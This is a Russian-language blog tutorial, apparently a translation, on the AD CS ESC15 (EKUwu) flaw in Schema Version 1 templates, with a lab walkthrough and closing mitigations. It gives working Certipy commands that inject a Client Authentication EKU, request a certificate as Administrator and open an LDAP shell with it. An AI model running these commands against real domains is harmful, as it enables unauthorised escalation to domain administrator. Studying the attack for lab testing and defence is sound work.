Найти в Дзене
Life-Hack - Хакер

ADCS ESC15 – Эксплуатация Template Schema v1

Уязвимость ESC15 (EKUwu) затрагивает службу сертификатов Active Directory (AD CS), позволяя злоумышленникам внедрять EKUs (например, Client Authentication) в шаблоны Schema Version 1 и повышать привилегии. Очень важно не упустить это уязвимость и оперативно принять меры по ее устранению. Подпишись на наши канал в телеграме и в Max, там ты найдешь огромное количество качественного контента, без инфошума и воды! ESC15, использует логическую ошибку в шаблонах сертификатов Schema Version 1. Данная ошибка возникает потому, что удостоверяющий центр (CA) неправильно применяет ограничения возможностей использования сертификата (Extended Key Usage - EKU). Почему это опасно? Служба AD CS должна выдавать сертификаты только с EKU, явно определенными в шаблоне, однако в шаблонах Schema Version 1, при выпуске сертификата атакующие могут вставлять произвольные Application Policies (политики приложений) (например, Client Authentication). В случае успеха, атакующий получает доверенный сертификат, позво
Оглавление

Уязвимость ESC15 (EKUwu) затрагивает службу сертификатов Active Directory (AD CS), позволяя злоумышленникам внедрять EKUs (например, Client Authentication) в шаблоны Schema Version 1 и повышать привилегии. Очень важно не упустить это уязвимость и оперативно принять меры по ее устранению.

Подпишись на наши канал в телеграме и в Max, там ты найдешь огромное количество качественного контента, без инфошума и воды!

Обзор атаки ESC15

ESC15, использует логическую ошибку в шаблонах сертификатов Schema Version 1. Данная ошибка возникает потому, что удостоверяющий центр (CA) неправильно применяет ограничения возможностей использования сертификата (Extended Key Usage - EKU).

Почему это опасно?

Служба AD CS должна выдавать сертификаты только с EKU, явно определенными в шаблоне, однако в шаблонах Schema Version 1, при выпуске сертификата атакующие могут вставлять произвольные Application Policies (политики приложений) (например, Client Authentication). В случае успеха, атакующий получает доверенный сертификат, позволяющий входить в систему с использованием Kerberos PKINIT от имени любого пользователя, включая администраторов домена.

Даже хорошо защищённые среды могут хранить устаревшие шаблоны 1 версии (например, Web Server, User), которые подвержены эксплуатации, если выполняются следующие условия:

  • Атакующим доступна регистрация сертификатов.
  • Шаблоны позволяют "Supply in Request".
  • Инъекция EKU не заблокирована.

Результат: Пользователь с низкими привилегиями повышает свои права до администратора домена без знания паролей и хэшей.

Примечание: Многие организации считают, что отключение "Web Enrollment" и возможности изменять SAN достаточно для защиты. EKUwu доказывает, что даже "безопасные" шаблоны 1 версии могут стать вектором повышения привилегий.

Что такое Schema Version 1?

Schema Version 1 в AD CS — это старый формат шаблонов, определяющий свойства сертификатов, такие как EKU (Extended Key Usage). Поскольку Schema Version 1 всё ещё широко распространена, многие организации остаются уязвимы.

Необходимые условия

  • Windows Server 2019 с поддержкой PKINIT в качестве Active Directory.
  • Домен должен иметь настроенную службу сертификатов Active Directory (AD CS) и удостоверяющий центр.
  • Операционная система Kali Linux с набором инструментов.
  • Инструменты: Certipy.

Настройка стенда

В нашем случае, служба сертификатов Active Directory (AD CS) уже запущена и имеется шаблон Web Server. Рассмотрим ситуацию, когда злоумышленник уже проник внутрь системы. Первым шагом является проверка настроек удостоверяющего центра и выявление условий для реализации ESC15 атаки.

Убедитесь, что шаблон Web Server включен и пользователь (в нашем примере raj) имеет Enroll права:

Откройте Certification Authority на CA → щелкните правой кнопкой мыши на Certificate TemplatesManage

В консоли шаблонов сертификатов:

Найдите шаблон Web Server

Щелкните правой кнопкой мыши → Properties

-2

В окне Properties перейдите на вкладку Security

Добавьте raj (или вашего пользователя с низкими привилегиями)

Назначьте Enroll права

Нажмите Apply → OK

-3

Это позволит raj запрашивать сертификаты с использованием шаблона Web Server.

Поиск и эксплуатация

Перейдем к эксплуатации, с помощью Certipy.

Клонируем версию Certipy с поддержкой EKUwu:

git clone -b esc15-ekuwu --single-branch https://github.com/dru1d-foofus/Certipy
-4

Выполним команду установки и настройки инструмента:

cd Certipy/
python3 setup.py install
-5

Поиск уязвимых шаблонов

certipy find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.16 -vulnerable -enabled
-6

Изучим конфигурацию шаблона, включая Schema Version, EKU и пользователей, которым разрешено регистрировать сертификаты. Видим, что мы можем использовать шаблон WebServer для инъекции EKU.

-7

Запрос сертификата с инъекцией EKU (EKUwu)

certipy req -dc-ip 192.168.1.16 -ca ignite-DC1-CA -target-ip 192.168.1.16 -u raj@ignite.local -p 'Password@1' -template WebServer -upn Administrator@ignite.local --application-policies 'Client Authentication'

Эта команда запрашивает сертификат для raj, внедряя Client Authentication EKU (обычно отсутствует у шаблона WebServer), используя уязвимость в Schema Version 1 (ESC15), при которой AD CS некорректно обрабатывает поля EKU, что приводит к выдаче доверенного сертификата для Kerberos аутентификации от имени Администратора.

-8

Пост-эксплуатация

Аутентификация от имени Администратора домена с использованием полученного сертификата (administrator.pfx).

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.16 -ldap-shell
-9

Рекомендации

  • Удалите старые шаблоны (Schema v1), чтобы исключить их использование.
  • Переведите старые шаблоны в новый формат (Schema v2).
  • Убедитесь, что CA строго проверяет EKU.
  • Регулярно проверяйте выпущенные сертификаты на наличие необычных EKU.
  • Установите патч для предотвращения внедрения EKU (CVE-2024-49019, ноябрь 2024).

Источник перевода

Подпишись на наши канал в телеграме и в Max, там ты найдешь огромное количество качественного контента, без инфошума и воды!